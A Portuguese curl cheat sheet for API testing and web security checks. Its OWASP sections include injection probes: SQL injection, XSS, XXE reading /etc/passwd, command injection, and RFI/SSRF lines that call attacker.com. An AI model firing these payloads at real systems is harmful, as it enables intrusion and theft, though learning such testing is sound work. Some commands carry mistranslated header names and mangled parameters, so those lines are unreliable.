Guia de Referência do Comando cURL
cURLé uma ferramenta de linha de comando para fazer requisições HTTP. É amplamente utilizada para testar APIs, baixar arquivos e executar diversas tarefas relacionadas à web. Abaixo está uma folha de dicas para ajudar você a usar o curl de forma eficaz:
Folha de dicas do comando Curl:
# Requisição GET simples:
curl <URL>
# Salvar a saída em um arquivo:
curl -o <nome do arquivo> <URL>
# Seguir redirecionamentos:
curl -L <URL>
# Método HTTP personalizado:
curl -X <MÉTODO> <URL>
# Incluir cabeçalhos:
curl -H "Nome do Cabeçalho: Valor do Cabeçalho" <URL>
# Incluir vários cabeçalhos:
curl -H "Cabeçalho1: Valor1" -H "Cabeçalho2: Valor2" <URL>
# Definir dados da requisição com o método POST:
curl -X POST -d "chave1=valor1&chave2=valor2" <URL>
# Enviar dados JSON:
curl -X POST -H "Tipo de Conteúdo: aplicativo/json" -d '{"chave": "valor"}' <URL>
# Enviar dados de Um arquivo:
curl -X POST -d @<nome do arquivo> <URL>
# Autenticação básica:
curl -u nome_de_usuário:senha <URL>
# Incluir um agente de usuário:
curl -A "String_do_Agente_do_Usuário" <URL>
# Exibir cabeçalhos de solicitação e resposta:
curl -v <URL>
# Exibir apenas cabeçalhos de resposta:
curl -I <URL>
# Definir tempo limite da solicitação:
curl --max-time <segundos> <URL>
# Ignorar validação do certificado SSL:
curl -k <URL>
# Baixar vários arquivos simultaneamente:
curl -O <URL1> -O <URL2>
# Exibir progresso durante o download:
curl -# -O <URL>
# Baixar um arquivo com um nome personalizado:
curl -o <nome_personalizado> <URL>
# Enviar um arquivo com o método PUT:
curl -X PUT -T <arquivo> <URL>
# Definir agente de usuário personalizado:
curl -H "Agente do Usuário: Custom-UA" <URL>
Métodos HTTP (GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS)
# Solicitação GET
curl -X GET https://api.example.com/data
# Solicitação POST
curl -X POST -d "param1=value1¶m2=value2" https://api.example.com/data
# Solicitação PUT
curl -X PUT -d "param1=value1¶m2=value2" https://api.example.com/data
# Solicitação DELETE
curl -X DELETE https://api.example.com/data
# Solicitação PATCH
curl -X PATCH -d "param1=new_value1" https://api.example.com/data
# Solicitação HEAD
curl -X HEAD https://api.example.com/data
# Solicitação OPTIONS
curl -X OPTIONS https://api.example.com/data
**Verificando a Segurança do Cabeçalho HTTP**
# Verificando o cabeçalho HTTP Strict Transport Security (HSTS)
curl -I https://example.com
# Verificando o cabeçalho Content Security Policy (CSP)
curl -I https://example.com
# Verificando o cabeçalho X-Content-Type-Options
curl -I https://example.com
# Verificando o cabeçalho X-Frame-Options
curl -I https://example.com
# Verificando o cabeçalho X-XSS-Protection
curl -I https://example.com
# Verificando o cabeçalho Referrer-Policy
curl -I https://example.com
# Verificando o cabeçalho Feature-Policy
curl -I https://example.com
# Verificando Cross-Origin-Resource-Policy Cabeçalho (CORP)
curl -I https://example.com
# Verificando o cabeçalho Cross-Origin-Embedder-Policy (COEP)
curl -I https://example.com
# Verificando o cabeçalho Cross-Origin-Opener-Policy (COOP)
curl -I https://example.com
# Verificando o cabeçalho Expect-CT
curl -I https://example.com
# Verificando a Extensão de Fixação de Chave Pública para o cabeçalho HTTP (HPKP)
curl -I https://example.com
Folha de Dicas do Comando Curl para os 10 principais OWASP
# Requisição GET com Cookies e Agente do Usuário:
curl -X GET -H "Agente do Usuário: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/58.0.3029.110 Safari/537.3" -H "Cookie: nome=valor; nome2=valor2" <URL>
# Solicitação POST com Cabeçalhos e Dados Personalizados:
curl -X POST -H "Tipo de Conteúdo: aplicativo/x-www-form-urlencoded" -H "Autorização: Portador <TOKEN>" -d "nome de usuário=usuário&senha=senha" <URL>
# Enviando Dados como JSON e Recebendo Saída em JSON Bonito:
curl -X POST -H "Tipo de Conteúdo: aplicativo/json" -d '{"chave": "valor"}' <URL> | jq .
# Seguir Redirecionamentos e Exibir Cabeçalhos de Resposta:
curl -iL <URL>
# Enviar Requisição com Autenticação Básica:
curl -X GET -u nomedeusuário:senha <URL>
# Testando Vulnerabilidades de Inclusão de Arquivo Local (LFI):
curl -X GET <URL>/page.php?page=/etc/passwd
# Testando Vulnerabilidades de Inclusão de Arquivo Remoto (RFI):
curl -X GET <URL>/page.php?url=http://attacker.com/malicious-code.txt
# Verificando SSRF (Solicitação Falsificada do Lado do Servidor):
curl -X GET "http://vulnerable.com/api?url=http://internal-server/"
# Testando Injeção de SQL (Solicitação GET):
curl -X GET "<URL>?id=1' OR '1'='1"
# Testando Injeção de SQL (Solicitação POST):
curl -X POST -d "username=admin' OR '1'='1&password=test" <URL>
# Testando Vulnerabilidades de Cross-Site Scripting (XSS):
curl -X GET -d "input=<script>alert('XSS');</script>" <URL>
# Testando Injeção de Template do Lado do Servidor (SSTI):
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user={{7*7}}" <URL>
# Verificando Vulnerabilidades de Redirecionamento Aberto:
curl -X GET <URL>?redirect=http://evil.com
# Testando Injeção de Comando (Teste Básico):
curl -X GET "<URL>?input=test; whoami"
# Enviando um Arquivo com a Funcionalidade de Envio de Arquivos:
curl -X POST -F "file=@/path/to/local-file" <URL>
# Ignorando Firewalls de Aplicativos Web (WAF):
curl -X GET -H "X-Forwarded-For: <IP-malicioso>" <URL>
# Testando a Configuração Incorreta de Compartilhamento de Recursos de Origem Cruzada (CORS)
Rações:
curl -X GET -H "Origem: evil.com" <URL>
Comandos curl para manipulação de texto
# Escrevendo Resposta em um Arquivo sem Saída de Progresso:
curl -s -o <arquivo-de-saída> <URL>
# Exibindo Apenas os Cabeçalhos de Resposta:
curl -I <URL>
# Exibindo Apenas o Código de Resposta HTTP:
curl -o /dev/null -w "%{http_code}" <URL>
# Seguir Redirecionamentos, mas Limitar Redirecionamentos a um Número Especificado:
curl -L -s -m <redirecionamentos-máximos> <URL>
# Usando uma Interface de Rede Específica para a Requisição:
curl --interface <nome-da-interface> <URL>
# Usando um Servidor DNS Específico para Resolução:
curl --dns-servers <ip-do-servidor-dns> <URL>
# Fazendo uma Requisição com uma Versão HTTP Específica:
curl --http1.0 <URL>
curl --http2 <URL>
# Enviando dados de um arquivo com formato bruto:
curl -X POST --data-binary "@<caminho-do-arquivo>" <URL>
# Usando cabeçalhos HTTP personalizados de um arquivo:
curl -X GET -H "@<arquivo-cabeçalho>" <URL>
# Testando vulnerabilidades de Entidade Externa XML (XXE):
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' <URL>
# Testando falsificação de solicitação do lado do servidor (SSRF) com atraso:
curl -X GET "http://vulnerable.com/api?url=http://attacker.com/malicious-code.txt" -m 10
# Testando a configuração incorreta dos métodos HTTP (PUT, DELETE, etc.):
curl -X PUT -d "data=secret" <URL>
# Usando um User-Agent específico para a solicitação:
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" <URL>
# Adicionando um cabeçalho de host personalizado:
curl -H "Host: example.com" <URL>
# Usando um proxy específico para a solicitação:
curl -x <proxy-url>:<port> <URL>
# Enviando um formulário com vários campos:
curl -X POST -d "username=user&password=pass&other_field=value" <URL>
# Testando o cabeçalho HTTP Injeção:
curl -X GET -H "Cabeçalho: Cabeçalho-Malicioso%0d%0aInjeção: valor" <URL>"